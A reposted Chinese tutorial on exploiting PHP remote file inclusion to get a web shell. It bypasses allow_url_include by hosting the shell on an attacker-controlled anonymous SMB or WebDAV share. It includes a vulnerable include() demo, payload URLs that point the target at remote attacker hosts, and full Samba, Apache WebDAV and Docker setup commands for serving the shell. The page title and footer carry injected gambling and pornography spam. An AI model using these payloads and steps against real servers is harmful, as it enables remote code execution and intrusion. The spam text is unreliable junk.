安基網 首頁 安全 滲透測試 查看內容

雪缘园比分直墦:RFI巧用WebDAV繞過URL包含限制Getshell

英超雪缘园 www.trual.com.cn 2020-4-2 14:38| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 搜索公眾號:暗網黑客可領全套安全課程、配套攻防靶場前言關于遠程文件包含(Remote File Inclusion)漏洞,自從 php version 5.2 之后一直是一個比較雞肋的問題?。?!直到2019年5月份,國外的一篇文章(RFI-SMB)和推文(Twitter)吸引了大家的注意其大概內容主要是通過PHP遠程文件包含中allow_url_fo ...

搜索公眾號:暗網黑客

可領全套安全課程、配套攻防靶場


前言


關于遠程文件包含(Remote File Inclusion)漏洞,自從 php version 5.2 之后一直是一個比較雞肋的問題?。?!


直到2019年5月份,國外的一篇文章(RFI-SMB)和推文(Twitter)吸引了大家的注意


其大概內容主要是通過PHP遠程文件包含中allow_url_fopen和allow_url_include 僅限制//和ftp://的缺陷,利用SMB協議的文件共享進行繞過與包含。


雖說,SMB如今在國內的局限性很大,但是在一定程度上,打破了RFI URL包含限制的局面,同時,也啟發了針對 RFI 的擴展利用和探索。


正因如此,本文在其之前的基礎上又進行了拓展利用與探索,通過巧用WebDAV來繞過URL包含限制Getshell,打破了如今SMB的局限性。

RFI 基礎


四個函數

PHP中引發文件包含漏洞的通常主要是以下四個函數:

  • include()
//www.php.net/manual/en/function.include.php
  • include_once()
//php.net/manual/en/function.include-once.php
  • require()
//php.net/manual/en/function.require.php
  • require_once()
//php.net/manual/en/function.require-once.php

函數功能

當利用這四個函數來包含文件時,不管文件是什么類型(圖片、txt等),都會直接作為php文件進行解析。


函數差異

include()

include() 函數包含出錯的話,只會提出警告,不會影響后續語句的執行

require()

require() 函數包含出錯的話,則會直接退出,后續語句不在執行

include_once() 和 require_once()

require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經被包含過了,則 require_once() 和 include_once() 則不會再包含它,以避免函數重定義或變量重賦值等問題。

二次包含

一次包含

RFI 限制


用一個簡單的例子構造一個含有文件包含漏洞的Demo,演示一下遠程文件包含漏洞的利用,代碼如下:

    $file = $_GET['file'];
include $file;
?>

在上面的漏洞代碼中,file參數從GET請求中取值,并且是用戶可控的動態變量。

當file接收到傳入的參數值后,include()函數會直接進行內容包含。

由于,文件包含函數加載的參數file沒有經過任何的過濾或者嚴格的定義,可以由攻擊者進行控制發起惡意的請求,包含其它惡意文件,從而讓應用程序執行攻擊者精心準備的惡意腳本,具體如下:

攻擊者準備的惡意腳本:shell.php


攻擊者發起的惡意請求:payload

https://www.qftm.com/index.php?file=//10.10.10.10/shell.php

通過上述請求,可以遠程包含一個shell,一旦攻擊者的惡意請求成功之后,可以達到任意代碼執行漏洞也就是RCE。

雖然用戶沒有對文件參數進行控制,但是想要得到一個真正的RCE還需要滿足一個條件,如下php.ini配置:

allow_url_fopen=On
allow_url_include=On

只有當這兩個配置設置成On時,最終的漏洞才能利用成功,遺憾的是PHP官方在 php version 5.2 之后默認的關閉了allow_url_include,是不是突然感覺沒有了希望?。?!

不要放棄,下面利用我們強大的Bypass功能進行限制繞過。

RFI 缺陷

對于RFI的缺陷,先來看一下PHP針對allow_url_fopen和allow_url_include的配置說明

php7.x -> php.ini

;;;;;;;;;;;;;;;;;;
; Fopen wrappers ;
;;;;;;;;;;;;;;;;;;

; Whether to allow the treatment of URLs (like // or ftp://) as files.
; //php.net/allow-url-fopen
allow_url_fopen=On

; Whether to allow include/require to open URLs (like // or ftp://) as files.
; //php.net/allow-url-include
allow_url_include=Off

從配置中可以看到 allow_url_fopen和allow_url_include主要是針對兩種協議起作用://、 ftp://。

PHP針對RFI URL包含限制主要是利用allow_url_include=Off來實現,將其設置為Off,可以讓PHP不加載遠程HTTP或FTP URL,從而防止遠程文件包含攻擊。

那么,我們是不是可以這樣想,有沒有什么其它協議可以讓我們去包含遠程服務器文件,答案是肯定的,例如SMB、WebDAV等協議。

既然這樣,攻擊者就可以利用這個缺陷,使用相應的協議進行Bypass。


在這個過程中,即使allow_url_fopen和allow_url_include都設置為Off,PHP也不會阻止相應的遠程文件加載。

RFI 繞過

在介紹WebDAV Bypass的時候先來簡單了解一下SMB Bypass,因為他們利用道理都差不多。


SMB Bypass

SMB協議主要于網絡文件的共享,SMB所在端口445。PHP在遠程匿名加載smb所共享的文件時并不會對其進行攔截。

測試代碼

    $file=$_GET['file'];
include $file;
?>

攻擊原理

unc -> smb

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從攻擊者控制的SMB服務器共享加載PHP Web shell時,SMB共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的SMB服務器。因此,一旦易受攻擊的應用程序嘗試從SMB共享訪問PHP Web shell,SMB服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。

環境配置

首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然后,配置SMB服務器具有匿名讀訪問權限。

  • PHP環境設置

首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off


然后重啟服務查看phpinfo()配置是否生效


  • SAMBA服務器環境配置

需要使用匿名讀取訪問權限配置SAMBA服務器(Ubuntu18.04)

Samba是在Linux和UNIX系統上實現SMB協議的一個軟件

(1)安裝SAMBA服務器

apt-get install samba

(2)創建SMB共享目錄和 php web shell

mkdir /var/www/html/pub/
touch /var/www/html/pub/shell.php

(3)配置新創建的SMB共享目錄的權限

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/


(4)編輯samba配置文件 /etc/samba/smb.conf

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[Qftm]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

(5)重新啟動SAMBA服務器以應用配置文件/etc/samba/smb.conf中的新配置

service smbd restart

成功重新啟動SAMBA服務器后,嘗試訪問SMB共享并確保SAMBA服務器不要求憑據。

Getshell

在環境都配置完且驗證之后,利用samba目錄/var/www/html/pub中共享的WebShell進行GetShell

  • unc->payload
//127.0.0.1/FI/index.php?file=192.33.6.145qftmshell.php
  • shell.php

  • 蟻劍連接

SMB總結

針對smb利用的局限性,因為這種unc只能是在windows下使用,而且,smb端口(445) 在國內已經被封殺的差不多了(勒索病毒?。。。?,很難應用到實際中,但是其他的像webdav這種同理也是可以被包含的,且利用的價值更大。


WebDAV Bypass


WebDAV(Web 分布式創作和版本管理)是一項基于 HTTP/1.1 協議的通信協議。


它擴展了HTTP/1.1 協議,在Get、Post、Put、Delete 等HTTP標準方法外添加了新方法,使應用程序可對Web Server直接讀寫,并支持寫文件鎖定(Locking)和解鎖(Unlock),以及文件的版本控制。

PHP在遠程匿名加載WebDAV所共享的文件時并不會對其進行攔截。


測試代碼

    $file=$_GET['file'];
include $file;
?>

攻擊原理

類unc -> WebDAV

攻擊場景

當易受攻擊的PHP應用程序代碼嘗試從攻擊者控制的WebDAV服務器共享加載PHP Web shell時,WebDAV共享應該允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權限的WebDAV服務器。因此,一旦易受攻擊的應用程序嘗試從WebDAV共享訪問PHP Web shell,WebDAV服務器將不會要求任何憑據,易受攻擊的應用程序將包含Web shell的PHP代碼。


環境配置

同SMB環境配置一樣,首先,重新配置PHP環境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然后,配置WebDAV服務器。


  • PHP環境設置

首先,在受害者主機上配置php.ini,將allow_url_fopen和allow_url_include設置為Off



然后重啟服務查看phpinfo()配置是否生效


  • WebDAV服務器環境配置

需要使用匿名讀取訪問權限配置WebDAV服務器。

1、Ubuntu18.04手動搭建WebDAV服務器

(1)安裝Apache Web服務器

sudo apt-get install -y apache2

(2)在Apache配置中啟用WebDAV???/p>

sudo a2enmod dav
sudo a2enmod dav_fs

(3)創建WebDAV共享目錄webdav和 php web shell

sudo mkdir -p /var/www/html/webdav
sudo touch /var/www/html/webdav/shell.php

(4)將文件夾所有者更改為您的Apache用戶,www-data以便Apache具有對該文件夾的寫訪問權

sudo chown -R www-data:www-data  /var/www/

(5)編輯WebDAV配置文件 /etc/apache2/sites-available/000-default.conf

不需要啟用身份驗證

DavLockDB /var/www/html/DavLock

# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com

ServerAdmin [email protected]
DocumentRoot /var/www/html

# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined

# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav /var/www/html/webdav

DAV On



# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

(6)重新啟動Apache服務器,以使更改生效

sudo service apache2 restart

成功重新啟動Apache服務器后,嘗試訪問WebDAV共享并確保WebDAV服務器不要求憑據。


除了上面在Ubuntu上一步步安裝WebDAV服務器外,還可以利用做好的Docker鏡像。

2、WebDAV Docker鏡像

推薦使用Docker鏡像方式去安裝利用,免去一些因環境或配置不當而產生的問題

(1)拉取webdav鏡像

鏡像地址:https://hub.docker.com/r/bytemark/webdav

(2)用docker啟動一個webdav服務器

docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav

(3)在~/webdav/data目錄里面共享自己php腳本

(5)驗證Webdav服務器

瀏覽器驗證

終端驗證


Getshell

在環境都配置完且驗證之后,利用webdav目錄~/webdav/data中共享的WebShell進行GetShell

  • 類unc->payload
//127.0.0.1/FI/index.php?file=//172.17.0.2//webdav/shell.php
  • shell.php

');?>

為什么這個不能直接加載一句話木馬呢,因為使用PHP文件包含函數遠程加載Webdav共享文件時,不能附加消息(GET/POST),但是我們可以自定義shell.php,通過服務器加載遠程shell.php給我們自動生成一個Webshell。

請求構造的payload


從圖中可以看到遠程加載shell.php利用成功,可以根據狀態碼分析其加載過程:


其中code 207是由WebDAV(RFC 2518)擴展的狀態碼,代表之后的消息體將是一個XML消息,并且可能依照之前子請求數量的不同,包含一系列獨立的響應代碼。

  • 蟻劍連接

連接遠程加載shell.php生成的Webshell->poc.shell

WebDAV總結

webdav如今很多人都將其作為自己的個人數據共享存儲服務器,其局限性遠遠小于SMB。

Refference

//www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html

https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx


作者:Qftm

轉載自: https://www.anquanke.com/post/id/201060




小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/i6810565953638629896/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

相關閱讀

最新評論

 最新
返回頂部
{ganrao} 日本av最新地址 下载娱网棋牌 富贵互娱棋牌正规不 福建快3结果查询 极速赛车开奖结果 黑龙江体彩61开奖时间 新快3 美女sm捆绑男人 股票中k线图怎么看 jdb龙王捕鱼作弊 快乐8斯洛伐克开奖查询 江西逗趣麻将 手机玩麻将哪个最好 山东群英会开奖时时彩网 吉林11选5预测 5分3d官网